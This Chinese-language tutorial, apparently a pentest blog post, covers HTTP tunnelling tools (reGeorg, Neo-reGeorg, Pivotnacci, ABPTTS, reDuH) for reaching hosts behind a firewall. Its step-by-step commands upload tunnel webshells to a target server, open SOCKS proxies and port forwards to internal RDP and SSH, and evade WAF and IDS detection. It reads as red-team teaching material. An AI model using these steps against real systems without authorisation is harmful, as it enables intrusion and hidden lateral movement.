在内网渗透测试中,我们常常遇到这样的困境:目标主机位于内网,防火墙仅允许HTTP/HTTPS出站,其他端口都被封锁。这时,HTTP隧道技术就成为突破限制的利器------它通过将其他协议的数据封装在HTTP请求中,实现与内网主机的通信。
一、HTTP隧道技术概述
HTTP隧道的核心原理是在目标服务器上部署一个代理脚本(类似于Webshell),攻击者通过HTTP/HTTPS请求与该脚本通信,脚本再将请求转发到内网其他主机或服务,从而实现内网穿透。
适用场景:
-
目标主机位于内网,无法直接连接
-
防火墙仅允许HTTP/HTTPS出站
-
已获取Webshell但无法反弹Shell
-
需要访问内网中的特定服务(如RDP、SSH、数据库)
二、工具详解
1. reGeorg ------ HTTP隧道的经典之作
reGeorg是SensePost开发的老牌HTTP隧道工具,支持多种语言脚本,能够将内网服务器端口的数据通过HTTP/HTTPS隧道转发到本机。
核心特点:
-
支持PHP、ASP、JSP等多种脚本语言
-
轻量级,部署简单
-
在本地建立Socks代理
使用方法:
第一步:下载工具
git clone https://github.com/sensepost/reGeorg.git
cd reGeorg
第二步:生成并上传隧道脚本
# 生成隧道脚本(实际reGeorg的脚本是预置的,无需生成)
# 直接将对应语言的tunnel脚本上传至目标服务器
# 例如:tunnel.php、tunnel.jsp、tunnel.aspx等# 生成隧道脚本(实际reGeorg的脚本是预置的,无需生成)
# 直接将对应语言的tunnel脚本上传至目标服务器
# 例如:tunnel.php、tunnel.jsp、tunnel.aspx等
第三步:启动本地代理服务
python reGeorgSocksProxy.py -u http://target.com/tunnel.php -p 1080
-u:指定上传到目标服务器的隧道脚本URL
-p:本地监听的Socks代理端口(默认1080)
第四步:配置代理
# Linux配置proxychains
export http_proxy=socks5://127.0.0.1:1080
export https_proxy=socks5://127.0.0.1:1080
# Windows可使用Proxifier或浏览器插件配置Socks5代理
第五步:通过代理访问内网资源
proxychains nmap -sT -Pn 192.168.1.0/24
proxychains rdesktop 192.168.1.100
注意事项:reGeorg的通信未加密,可能被安全设备检测。
2. Neo-reGeorg ------ reGeorg的加密升级版
Neo-reGeorg是reGeorg的重构版本,通过加密传输和伪装请求大幅提高了隐蔽性,是目前使用最广泛的HTTP隧道工具之一。
核心优势:
-
Base64加密传输,数据变形处理,避免特征检测
-
支持自定义HTTP响应(如伪装成404错误页)
-
随机化HTTP指令头
-
支持多路径分散请求,降低被发现风险
详细使用方法:
第一步:安装依赖
pip install requests
# 可选依赖
pip install requests[socks] # Socks5代理支持
pip install curl-cffi # 提升性能和稳定性
第二步:克隆项目并生成加密隧道脚本
git clone https://github.com/L-codes/Neo-reGeorg
cd Neo-reGeorg
# 生成带密码的隧道脚本
python neoreg.py generate -k your_password
执行后会在neoreg_servers/目录下生成多种语言的隧道脚本(tunnel.php、tunnel.jsp、tunnel.aspx、tunnel.ashx等)。
高级生成选项:
# 自定义HTTP响应(伪装成404页面)
python neoreg.py generate -k password --file custom_404.html --httpcode 404
# 指定输出路径
python neoreg.py generate -k password --outdir ./output
第三步:上传隧道脚本
将对应语言的脚本上传到目标服务器的Web目录(如http://target.com/tunnel.php)。
第四步:客户端连接,建立Socks代理
python neoreg.py -k your_password -u http://target.com/tunnel.php
参数说明:
-
-k:连接密码,需与生成时一致 -
-u:隧道脚本URL -
-l:本地监听地址(默认127.0.0.1) -
-p:本地监听端口(默认1080)
高级连接选项:
# 使用代理连接目标
python neoreg.py -k password -u http://target.com/tunnel.php --proxy socks5://127.0.0.1:10800
# 多路径负载均衡(降低检测风险)
python neoreg.py -k password -u /path1/tunnel.php -u /path2/tunnel.jsp
# 自定义Header
python neoreg.py -k password -u http://target.com/tunnel.php -H "User-Agent: Mozilla/5.0" -H "X-Forwarded-For: 127.0.0.1"
第五步:配置代理工具
成功连接后,本地1080端口会开启Socks5代理,可通过proxychains、浏览器插件等工具使用。
注意事项:配置代理时需将Neo-reGeorg本地的流量排除,避免出现死循环。
3. Pivotnacci ------ 支持负载均衡的进阶工具
Pivotnacci是一款受reGeorg启发但功能更强大的HTTP隧道工具,特别适合需要高可靠性和低检测率的场景。
核心优势:
-
支持负载均衡服务器(自动重试)
-
可自定义轮询间隔(降低检测率)
-
自动断开已关闭的连接
-
支持密码保护的代理
-
完整的Socks4/Socks5支持(包含认证和GSSAPI)
安装方法:
# 通过pip安装(推荐)
pip3 install pivotnacci
# 或从源码安装
git clone https://github.com/blackarrowsec/pivotnacci.git
cd pivotnacci
pip3 install -r requirements.txt
python3 setup.py install
使用方法:
第一步:上传代理脚本
Pivotnacci提供了PHP、JSP、ASPX三种代理脚本,位于项目目录的agents/下。根据需要选择并上传到目标服务器。
第二步:配置代理脚本(可选)
如果需要密码保护,编辑代理脚本文件,修改AGENT_PASSWORD变量:
// agent.php
define('AGENT_PASSWORD', 's3cr3t');
第三步:启动Pivotnacci客户端
# 基础用法
pivotnacci http://target.com/agent.php --password "s3cr3t"
# 自定义监听地址和端口
pivotnacci http://target.com/agent.php -s 0.0.0.0 -p 8888
# 降低检测率(设置轮询间隔为2秒)
pivotnacci http://target.com/agent.php --polling-interval 2000
# 自定义HTTP头(用于绕过WAF)
pivotnacci https://target.com/agent.jsp -H 'Host: vhost.target.com' -A 'CustomAgent'
# 自定义ACK消息(需与代理脚本中的ACK_MESSAGE一致)
pivotnacci http://target.com/agent.aspx --ack-message "418 I'm a teapot"
# 使用HTTP代理
pivotnacci http://target.com/agent.php --proxy http://proxy.com:8080
参数详解:
-
--polling-interval:轮询间隔(毫秒),默认100,增大可降低检测率 -
--request-tries:请求重试次数,用于负载均衡环境 -
--retry-interval:重试间隔 -
--type:强制指定代理类型(php/jsp/aspx)
第四步:使用代理
Pivotnacci默认在本地1080端口开启Socks5代理,配置方法与reGeorg相同。
4. ABPTTS ------ 完整的TCP隧道解决方案
ABPTTS(A Black Path Toward The Sun)是NCC Group开发的一款强大的HTTP隧道工具,能够建立完整的TCP隧道,支持RDP、SSH、Meterpreter等多种协议。
核心特点:
-
完全符合HTTP标准
-
支持JSP/WAR和ASP.NET两种服务端组件
-
可建立完整的TCP隧道(不仅是Socks代理)
-
适合需要稳定长连接的场景
安装步骤:
第一步:克隆项目
git clone https://github.com/nccgroup/ABPTTS.git
cd ABPTTS
pip install -r requirements.txt
第二步:生成服务端代码
python abpttsfactory.py -o output_dir
此命令会在output_dir中生成服务端文件,包括JSP和ASP.NET两种版本。
第三步:上传服务端到目标
根据目标环境,将对应文件上传到Web目录:
-
JSP环境:上传
output_dir/abptts.jsp或打包成WAR上传 -
ASP.NET环境:上传
output_dir/abptts.aspx
第四步:配置客户端并建立隧道
ABPTTS的使用分为两步:首先生成配置文件,然后启动客户端。
生成配置文件:
python abpttsclient.py -u http://target.com/abptts.jsp -C config.txt -f 127.0.0.1:8888 -r 192.168.1.100:3389
-
-u:服务端URL -
-C:输出配置文件路径 -
-f:本地监听地址和端口 -
-r:远程目标地址和端口(要转发的内网服务)
启动客户端:
python abpttsclient.py -C config.txt
执行后,访问本地127.0.0.1:8888就相当于访问内网的192.168.1.100:3389(RDP服务)。
应用示例:
转发RDP服务:
# 生成配置
python abpttsclient.py -u http://target.com/abptts.aspx -C rdp.txt -f 127.0.0.1:33389 -r 192.168.1.10:3389
# 启动隧道
python abpttsclient.py -C rdp.txt
# 连接RDP(新终端)
mstsc /v:127.0.0.1:33389
转发SSH服务:
python abpttsclient.py -u http://target.com/abptts.jsp -C ssh.txt -f 127.0.0.1:2222 -r 192.168.1.20:22
python abpttsclient.py -C ssh.txt
ssh root@127.0.0.1 -p 2222
配置文件示例:
[ABPTTS]
url = http://192.168.1.119/abptts.aspx
local_ip = 192.168.1.5
local_port = 33389
remote_ip = 192.168.1.119
remote_port = 3389
配置文件可直接编辑修改。
5. reDuH ------ Java编写的端口转发利器
reDuH是一款用Java编写的HTTP隧道工具,特别适合需要转发特定端口(如3389、3306)的场景。它通过Webshell建立隧道,将内网端口映射到本地。
核心特点:
-
Java编写,跨平台
-
支持ASPX、PHP、JSP三种服务端
-
操作简单,专攻端口转发
-
适合在只有Web端口开放的环境中使用
使用方法:
第一步:上传服务端
reDuH的服务端位于reDuhServers/目录下,根据目标环境选择对应版本上传:
-
reDuh.aspx:ASP.NET环境 -
reDuh.php:PHP环境 -
reDuh.jsp:JSP环境
上传后得到URL如http://target.com/reDuh.jsp。
第二步:启动客户端连接
# 进入客户端目录
cd reDuhClient/dist/
# 执行客户端连接
java -jar reDuhClient.jar http://target.com/reDuh.jsp
连接成功后,客户端会提示在本地监听1010端口。
第三步:使用NC连接管理端口
# 新开终端,用nc连接本地1010端口
nc -vv 127.0.0.1 1010
成功连接后会看到reDuH的管理提示符。
第四步:创建隧道转发
在nc连接的管理界面中,输入以下命令创建隧道:
[createTunnel]本地端口:目标IP:目标端口
例如,转发内网主机的3389端口(RDP):
[createTunnel]6666:192.168.1.100:3389
执行后,访问本地的6666端口就相当于访问内网192.168.1.100的3389端口。
第五步:连接目标服务
# RDP连接
mstsc /v:127.0.0.1:6666
# SSH连接(如果转发的是22端口)
ssh user@127.0.0.1 -p 6666
注意事项:
-
reDuH传输速度较慢,连接RDP时建议降低颜色和质量设置
-
可同时创建多个隧道,转发不同端口
三、工具对比与选择建议
| 工具 | 核心特点 | 适用场景 | 优缺点 |
|---|---|---|---|
| reGeorg | 经典HTTP隧道,Socks代理 | 通用场景,快速搭建 | 优点:成熟稳定;缺点:无加密,易被检测 |
| Neo-reGeorg | 加密传输,高度隐蔽 | 需要绕过WAF/IDS的环境 | 优点:隐蔽性强,功能丰富;缺点:配置稍复杂 |
| Pivotnacci | 负载均衡,可调轮询间隔 | 高可靠性要求,负载均衡环境 | 优点:抗干扰强,支持认证;缺点:知名度较低 |
| ABPTTS | 完整TCP隧道,支持多协议 | 需要稳定长连接(如Meterpreter) | 优点:协议支持全面;缺点:配置步骤多 |
| reDuH | Java编写,简单端口转发 | 只需转发特定端口(如3389) | 优点:轻量简单;缺点:功能单一,速度慢 |
选择建议:
-
如果需要快速建立Socks代理进入内网,首选Neo-reGeorg
-
如果目标环境有负载均衡或WAF,考虑Pivotnacci
-
如果需要稳定转发特定服务(如RDP、SSH),ABPTTS 或reDuH更合适
-
如果只是为了临时连接一次3389,reDuH最轻量